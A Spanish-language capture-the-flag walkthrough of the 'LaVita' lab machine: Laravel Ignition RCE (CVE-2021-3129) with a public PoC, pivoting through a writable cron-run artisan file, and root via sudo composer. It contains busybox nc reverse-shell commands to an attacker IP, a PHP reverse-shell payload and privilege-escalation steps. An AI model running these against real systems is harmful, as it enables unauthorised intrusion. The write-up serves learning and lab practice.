LaVita
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. LaVita expone una app Laravel 8.4.0 con el modo debug activo. Ignition arrastra la CVE-2021-3129, una RCE no autenticada que nos deja comowww-data(Laravel Ignition (CVE-2021-3129)).pspyrevela un cron que ejecutaphp artisancomo el usuarioskunk; el ficheroartisanes escribible porwww-data, así que lo sobrescribimos con una reverse shell y pivotamos (cron sobre script escribible).skunkpuede lanzarcomposerporsudosin contraseña, y el truco de GTFOBins nos da root (GTFOBins: sudo).
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Dos puertos abiertos:
ping -c 1 192.168.149.38
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.149.38PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.149.38 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS TemplateWeb - TCP 80
Un dirsearch sobre el 80 encuentra rutas típicas de Laravel: /login, /register, /home (redirige a /login) y, sobre todo, /_ignition/execute-solution, el endpoint del depurador Ignition:
dirsearch -u http://192.168.149.38/ -t 200 --exclude-status=404,403,503[11:25:18] 405 - /_ignition/execute-solution
[11:25:31] 302 - /home -> http://192.168.149.38/login
[11:25:32] 301 - /images
[11:25:34] 200 - /login
[11:25:41] 200 - /register
[11:25:41] 200 - /robots.txt
[11:25:48] 200 - /web.configLa app permite registrarse, así que creamos una cuenta en /register:

Al entrar, el panel es un "Dashboard Testing Area" con un detalle revelador: un botón que activa el modo debug de la propia aplicación (APP_DEBUG), que por defecto está [DISABLED]:

Pulsamos Enable y APP_DEBUG pasa a [ENABLED]. Ese es el interruptor que abre la puerta: la CVE que buscamos requiere el modo debug activo, y la propia web nos lo ofrece:

Con el debug activo, forzar un 404 muestra la pantalla de error de Ignition, que revela la versión del framework, Laravel 8.4.0:

Laravel 8.4.0: identificación de la vulnerabilidad
Una búsqueda por la versión asocia Laravel 8.4.x con la CVE-2021-3129:

Laravel <= 8.4.2 con Ignition < 2.5.2 y APP_DEBUG=true es vulnerable a la CVE-2021-3129: la ficha del CVE lo confirma ("Ignition before 2.5.2... exploitable on sites using debug mode with Laravel before 8.4.2"). El endpoint /_ignition/execute-solution permite a un atacante no autenticado ejecutar código:

Buscando una PoC aparece el exploit de knqyf263:

Explotación
CVE-2021-3129: RCE en Ignition
El fallo está en cómo Ignition procesa las "soluciones" que ofrece al programador: manipulando el fichero de log de Laravel (envenenamiento de log) y encadenando una cadena de deserialización (phpggc, gadget monolog_rce) se logra ejecutar comandos (Laravel Ignition (CVE-2021-3129)). Usamos el exploit de knqyf263, que automatiza el envenenamiento del log y el disparo de la solución. Primero comprobamos la RCE leyendo /etc/passwd:
git clone https://github.com/knqyf263/CVE-2021-3129
# En exploit.py: Exploit("http://192.168.149.38/", "cat /etc/passwd")
python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[i] PHPGGC not found. Cloning it
[*] Result:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...El exploit clona phpggc, genera el gadget monolog_rce1 y devuelve el /etc/passwd de la víctima: la RCE está confirmada. Confirmada la ejecución, cambiamos el comando por una reverse shell con busybox. Dejamos Penelope a la escucha en el 22:
penelope 22Luego volvemos a lanzar el exploit para dispararla:
# En exploit.py: Exploit("http://192.168.149.38/", "busybox nc 192.168.45.238 22 -e bash")
python3 exploit.py
(Penelope)> listeners add -p 22
[+] Got reverse shell from debian~192.168.149.38-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
bash-5.1$ whoami
www-dataLa shell corre como www-data.
Post-explotación
Pivote a skunk: cron sobre artisan escribible
www-data no tiene la user flag. Subimos pspy (repo) para observar los procesos periódicos sin necesidad de leer /etc/crontab (cron sobre script escribible). Lo servimos desde Kali:
locate pspy64
cp /home/krmena/Downloads/pspy64 .
python3 -m http.server 8080
$ locate pspy64
/home/krmena/Downloads/pspy64
/home/krmena/tools/pspy64
/home/krmena/vulnhub/symfonos3/exploits/pspy/pspy64
/machines/expressway/exploits/pspy64
/machines/late/content/pspy64
/machines/pandora/pspy64
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.149.38 - - [29/Jan/2026 20:26:49] "GET /pspy64 HTTP/1.1" 200 -wget http://192.168.45.238:8080/pspy64 && chmod +x pspy64
./pspy64CMD: UID=1001 PID=16607 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
CMD: UID=1001 PID=16626 | rm -Rf /var/www/html/lavita/public/images/*Un cron ejecuta php artisan como UID 1001. Comprobamos quién es ese UID y los permisos del artisan:
id 1001
ls -l /var/www/html/lavita/artisanuid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)
-rwxr-xr-x 1 www-data www-data 1686 Jan 29 17:05 /var/www/html/lavita/artisanLa clave: artisan pertenece a www-data, nuestro usuario actual, así que podemos reescribirlo. El cron lo ejecutará como skunk. Dejamos un nc a la escucha en el 22:
nc -nlvp 22Sustituimos su contenido por una reverse shell PHP y esperamos al siguiente ciclo:
echo '<?php system("busybox nc 192.168.45.238 22 -e bash");?>' > /var/www/html/lavita/artisan
listening on [any] 22 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.149.38] 59954
whoami
skunk
skunk@debian:~$Al siguiente ciclo del cron, el nc recibe la conexión y whoami devuelve skunk.
Local
cat local.txt && whoami && hostname && ip a
764fe587c53452a51b1dc065d222a0a9
skunkEscalada de privilegios
sudo composer sin contraseña
skunk (que además está en el grupo sudo) tiene un permiso sudo específico y sin contraseña:
sudo -l
User skunk may run the following commands on debian:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita *Aparte del (ALL : ALL) ALL (que pediría la contraseña de skunk, que no tenemos), la línea sin contraseña es la de composer. composer figura en GTFOBins: define scripts en composer.json que se ejecutan con run-script:

Como el comando permitido apunta a --working-dir=/var/www/html/lavita y admite argumentos extra (*), colocamos un composer.json con un script que lance /bin/sh y lo invocamos por sudo (GTFOBins: sudo):
echo '{"scripts":{"x":"/bin/sh"}}' > /var/www/html/lavita/composer.json
sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
skunk@debian:~$ sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
> /bin/sh
# whoami
rootComposer avisa de que no conviene ejecutarlo como root y pide confirmación; respondemos yes y el script x arranca /bin/sh como root.
Root
cat /root/proof.txt && whoami && ip a && hostname
dc8ec04b85c356de4e3c9b65438048ec
rootCadena de ataque
HTTP (80) -- Laravel 8.4.0 con APP_DEBUG=true
│ CVE-2021-3129: RCE en Ignition (log poisoning + monolog_rce)
▼
www-data
│ pspy: cron ejecuta php artisan como skunk (UID 1001)
│ artisan escribible por www-data -> reverse shell
▼
skunk (local.txt) [grupo sudo]
│ sudo NOPASSWD composer --working-dir -> run-script /bin/sh
▼
root (proof.txt)Lecciones aprendidas
APP_DEBUG=trueen producción es una puerta abierta. Ignition es una herramienta de desarrollo; con el modo debug activo y una versión vulnerable, la CVE-2021-3129 convierte la pantalla de errores en una RCE sin autenticación. En producción,APP_DEBUGdebe serfalse.pspyve lo que el usuario no puede leer. Sin acceso a/etc/crontab,pspymostró que un cron corríaartisancomo otro usuario. Observar procesos por debajo es tan útil como leer ficheros de configuración.- Un script de cron escribible es un pivote directo. Que
artisanfuese propiedad dewww-datapero se ejecutara comoskunkbastó para saltar de un usuario a otro. Los ficheros que corre un cron nunca deben ser escribibles por una cuenta de menor privilegio. sudosobre composer (o cualquier binario con scripts) es root. GTFOBins recoge decenas de binarios que, consudo, ejecutan comandos arbitrarios. Un permisoNOPASSWDsobre uno de ellos equivale a dar la contraseña de root.